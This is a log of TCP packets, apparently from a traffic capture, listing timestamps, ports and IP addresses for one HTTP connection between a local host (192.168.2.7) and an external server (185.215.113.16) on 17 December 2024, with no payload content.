Dec 17, 2024 10:23:29.444920063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.444961071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.444968939 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.444973946 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.445013046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.445085049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.445725918 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.445736885 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.445749044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.445770979 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.445787907 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.445863962 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.446554899 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.446566105 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.446577072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.446604967 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.446621895 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.446666956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.447318077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.447365046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.447381973 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.493257999 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.497548103 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.497564077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.497575045 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.497620106 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.497623920 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.497679949 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.498035908 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.498140097 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.498152018 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.498177052 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.498620033 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.498631954 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.498644114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.498661995 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.498677969 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.498687983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.499339104 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.499350071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.499361992 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.499378920 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.499403954 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.499444008 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.500154018 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.500165939 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.500175953 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.500195026 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.500216961 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.500478983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.500821114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.500833988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.500845909 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.500864983 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.500881910 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.500988960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.555598021 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.564434052 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.564495087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.564507008 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.564543962 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.564574003 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.564621925 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.564779997 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.564883947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.564925909 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.564954042 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.564965010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.564976931 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.565000057 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.565733910 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.565746069 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.565758944 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.565782070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.565814018 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.565913916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.566473007 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.566518068 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.566531897 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.566545010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.566587925 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.566689014 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.567349911 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.567373037 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.567384958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.567397118 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.567425966 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.567466974 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.568219900 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.568360090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.626869917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.626903057 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.626914978 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.626948118 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.627002001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.627044916 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.627058983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.627072096 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.627108097 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.627367973 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.627846003 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.627865076 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.627876043 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.627892971 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.627922058 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.628070116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.628659010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.628705025 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.628710985 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.628715992 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.628755093 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.628793001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.629456997 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.629467010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.629473925 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.629523993 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.629563093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.630311012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.630321980 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.630337000 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.630357981 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.630392075 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.630415916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.631009102 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.631056070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.631091118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.631102085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.631143093 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.631170988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.631864071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.631875038 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.631886005 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.631918907 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.631936073 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.631963968 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.632638931 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.632700920 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.632711887 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.632713079 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.632751942 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.632890940 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.633506060 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.633550882 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.633550882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.633563995 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.633611917 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.633831978 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.634433985 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.634443998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.634450912 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.634483099 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.634560108 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.635072947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.635118961 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.635147095 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.635162115 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.635200024 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.635226011 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.635917902 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.635929108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.635938883 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.635968924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.635991096 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.636101007 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.636672020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.636719942 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.636720896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.636735916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.636774063 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.636811972 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.637516975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.637527943 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.637538910 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.637563944 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.637589931 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.637593031 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.638264894 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.638309002 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.638320923 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.638331890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.638365984 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.638442993 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.639086008 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.639105082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.639116049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.639147043 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.639172077 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.639364004 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.680600882 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.689868927 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.689882994 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.689894915 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.689934015 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.689941883 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.689990044 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.690257072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.690268040 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.690283060 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.690327883 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.690346003 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.690382004 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.691062927 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.691073895 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.691080093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.691124916 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.691198111 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.691252947 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.691844940 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.691858053 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.691869974 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.691896915 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.692050934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.692094088 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.692692041 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.692703009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.692713976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.692748070 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.692815065 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.692863941 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.756580114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.756608009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.756619930 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.756659031 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.756736040 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.756782055 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.757000923 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.757013083 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.757025957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.757060051 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.757507086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.757551908 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.757585049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.757596970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.757608891 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.757630110 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.758292913 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.758311033 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.758322001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.758362055 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.758362055 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.758466005 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.759116888 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.759129047 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.759140968 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.759165049 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.759181023 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.759362936 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.759977102 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.759989023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.760020971 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.805623055 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.819279909 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.819492102 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.819504023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.819518089 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.819530964 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.819551945 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.819590092 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.819592953 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.819606066 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.819631100 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.819721937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.819760084 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.820382118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.820394039 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.820406914 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.820466042 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.820537090 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.820590019 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.821235895 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.821248055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.821259975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.821286917 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.821461916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.821506023 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.822021008 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.822031975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.822045088 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.822072983 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.822088957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.822132111 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.822824955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.822835922 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.822848082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.822870970 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.822964907 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.823008060 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.823621988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.823633909 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.823646069 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.823672056 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.823754072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.823797941 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.824371099 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.824412107 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.824424028 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.824456930 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.824525118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.824570894 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.825218916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.825231075 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.825241089 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.825267076 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.825305939 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.825350046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.826004028 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.826014996 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.826025963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.826052904 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.826114893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.826160908 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.826797962 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.826809883 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.826822042 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.826854944 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.826941967 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.826986074 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.827599049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.827610970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.827627897 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.827647924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.827734947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.827779055 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.828406096 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.828437090 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.828449965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.828483105 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.828509092 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.828553915 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.829243898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.829255104 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.829266071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.829294920 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.829304934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.829350948 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.830054045 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.830065012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.830075979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:29.830101967 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:29.830337048 CET	80	49752	185.215.113.16	192.168.2.7
